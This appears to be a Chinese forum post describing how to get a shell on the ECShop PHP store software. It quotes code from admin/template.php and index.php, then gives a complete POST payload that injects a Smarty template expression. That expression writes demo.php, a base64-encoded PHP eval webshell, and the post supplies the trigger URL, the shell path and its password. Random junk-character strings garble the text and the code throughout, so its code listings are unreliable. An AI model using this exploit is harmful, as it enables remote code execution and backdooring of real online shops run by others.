首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
0 B; C8 h: f& X6 Q1 P& T y$ W0 d
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了( K6 W' i$ M$ w! S
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码/ v9 Q/ d, ~( V+ C3 [& U
admin/template.php0 b5 |# o" R1 z
% S' f& H& ]& N3 ^7 Y3 |9 q0 r1 if ($_REQUEST['act'] == 'update_library') 2 ]0 f2 |( v: h; U
/ _6 i+ r! s8 v+ k" `3 F2 % o) V3 [: C2 C+ j
5 X$ @/ ]! r& i, J$ j8 z3 {
2 F. I( A# M i9 Y0 g
' w5 k; b; s, N8 Z: W5 Y6 Q! Z4 check_authz_json('library_manage'); " w; c0 U9 D r
j" G" ^3 Y. A, `. |& ]- S
5
9 s4 f3 }9 H" B; `' G i; i- Y$ j
6 $html = stripslashes(json_str_iconv($_POST['html']));
/ s; A( O1 e# T! ?; d1 t$ S
0 R" d" w$ c- z7 w3 h; o7
" f) n K5 W$ O; f5 U! A' W
: @. w* `$ A1 h5 T1 l8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 # W* p' d+ `) t. i# w
C# [2 d' G. T4 | Z$ O
9
3 X; Q3 @/ J" S+ B; W3 s
+ d" n$ a# V3 j. }. V4 @10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 P5 o# Y6 w' ]7 E0 p5 D: b$ C) h" s% H! T$ q( t
11 1 \; Y, b/ {2 V8 d
7 h' |4 h3 ]7 H1 R5 V% s
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
5 v1 [6 z- ^) a5 j3 E3 Q
6 c) j# b; T. E6 g/ A* \2 G" V: Q13 ; l% W& d0 z/ w4 t- E
" O! J' g, A" X. S7 }0 U
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
3 Z; u5 p2 [* ~* V- P, K
% e& o* Y& I! R7 Y2 V) r0 g15 {
$ O) u2 U! c' @. v, N; M9 t
0 c1 ~5 u; w8 K& S16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); : p M. [/ t- V; H. r; o
9 F, v" |# l% x/ o" W17 make_json_result('', $_LANG['update_lib_success']); : J) G! e B/ X8 i4 Y) C- J. j
# C, X2 W. |2 V R1 p9 N
18 }
9 i5 r5 o4 B V0 |2 H! P, g. C4 [+ ?7 D1 s* B* {% C+ B
19 else
6 b( [; K% M; _! a8 t
& {* ~& j2 i6 |1 m y; f3 V20 { ! f* {% s9 ]4 l; A/ G' f
5 \6 A9 \) ~, z5 w& _6 v9 D21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 3 `4 O/ W6 V% W* `; }. t2 U; ~9 p
* q) o' R/ O6 v5 k4 l' s3 p
22 } : {7 R& r% X2 ^& Z j& s) ^0 b
2 h* k4 R$ Q$ @% E9 w23 }
' r: { d+ S% X& z- N3 n. q; b1 n9 `$ F
那么找个比较方便调用了模板的文件
5 t6 v% S# x+ `( Iindex.php2 Q+ r4 ~0 m$ C2 I4 z- e
" Q5 T) j, w' X/ @0 H* B
1 if ($act == 'cat_rec')
- ^9 s# b6 c: T9 r
! n3 y' ?! |% T3 A9 m2
# B% n+ d& D" R
+ _2 N! O- Y0 \8 X/ j z/ M7 \3 { + ]: U9 a8 G) \& T% E m
# e! r4 s: ^; `$ }, I4 * w. y0 N: P! G, X5 I+ A" j
+ p/ M: r: ` r5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 8 M, \' r; V) p$ H0 b- c3 {- f& Z9 \
3 o5 A2 o; p+ w0 s- U5 e
6 ' A: H! n' a. V
# z8 S: P4 H+ Q3 C5 D+ K, |1 ~
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ; ]0 \6 ^- `5 y2 N
$ [; K9 N+ Z7 Y% I3 N$ s; s# m8
+ c. l# Y/ e$ W: d3 k* M! L+ K, G' {7 p3 n' x' w0 D- C- N( g
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
! x3 b" N. A2 v9 I3 q( a! |) w3 U* D: \+ C; J9 _
10
5 \. f8 a1 N! q% [9 r% G5 \3 r& `" w+ }! I7 i, n% N/ z5 h
11 include_once('includes/cls_json.php');
4 a; g+ t; w# e1 ^! D- h& ]
7 P% W. T [0 A, o& X12
- ?: q9 A" S9 q
0 b5 J! o6 `1 p13 $json = new JSON;
! \5 @/ |/ q% x3 D" _5 c
- z6 `0 p* j5 J% X' M' j14
9 W4 n+ K$ ?0 Z; V% W/ C9 o# L+ g/ C( }& a9 K
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); , A+ {2 w* b, Y) d+ i
& D4 V; a9 w. c7 L16
4 |9 |8 P. K V2 c- R8 H" n
( y1 L+ v9 s! M$ I2 S9 u17 $children = get_children($cat_id); / r/ V& k$ v3 P* O) J8 F
# z( C+ A; |8 l/ r18 3 m, j2 d6 S. {. m& Y
: u9 \, d! h3 C" y19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
1 o. J* y( R0 i+ s! S# L n5 H2 x/ X# U. I/ _+ r, a9 b
20
+ I5 T' x2 E9 g N7 \
1 }" ]4 S/ [" l* N( b, U) V6 @21 $smarty->assign('cat_rec_sign', 1); 9 W5 W; n& i |# y4 ^ x4 b
. U' a# s1 y; ]! e
22
, s" @3 `# S" s( |9 A+ P; z+ E+ G+ y& i# R8 v$ P. x& M
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
6 \$ m& E, M; F$ b+ O
% E. v- H2 }5 d24 5 Z. `* E; D8 }9 A6 ?
4 E) v X- _" E! X. h7 |9 t' d25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ) l5 F* ]7 x1 @2 B4 F) Z& q
; c" A$ [/ [6 ^. l26 / ~7 n+ d( t' C, X2 y- _
3 L) q4 A0 ~+ ]0 Z7 {27 echo $rec_array[$rec_type];
0 j( a) Z( b- L8 O. ?
3 U% G) ^; M& S, Y* V0 |28
. a8 F" b) d }) e- J' w1 c U7 P9 X* d; `
29 die($json->encode($result)); 3 F7 W% [8 U/ D/ c* ^. g: a
: N* n# t. t8 j6 P7 g4 F6 _
30
+ Y [, |* d. k* d
9 P2 T3 r$ n* o1 `: M4 |! b31 } ( i; c9 W% x+ X2 q4 h# N8 n
4 S6 N2 o" t" {- N那么就有利用方法了+ A4 [) N! L o: c" E
post包到http://localhost/ec/admin/template.php?act=update_library- r9 U2 m9 b+ Q* ^" l6 d' `1 g% C
Post内容:
# b% c6 M+ b' L3 G* j2 |' }
5 ?5 T& q0 v$ O' O/ X1 y6 j8 G& t; p8 ]8 j- J% Q$ I, @; s! \
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 6 v/ }% [/ T- `; g( x
, h' I. S: I' T" ^然后访问http://localhost/ec/index.php?act=cat_rec4 O5 G* ^0 G4 ]
' G Z3 @0 x# ? J5 a. _' ?6 t
shel地址:http://localhost/ec/demo.php* r! v/ \- O3 N8 {* E6 |
密码c6 ?( U) I3 V/ g% ]/ O( q" r( J
$ F( p. S1 e- T- r: r+ M0 y( o8 R |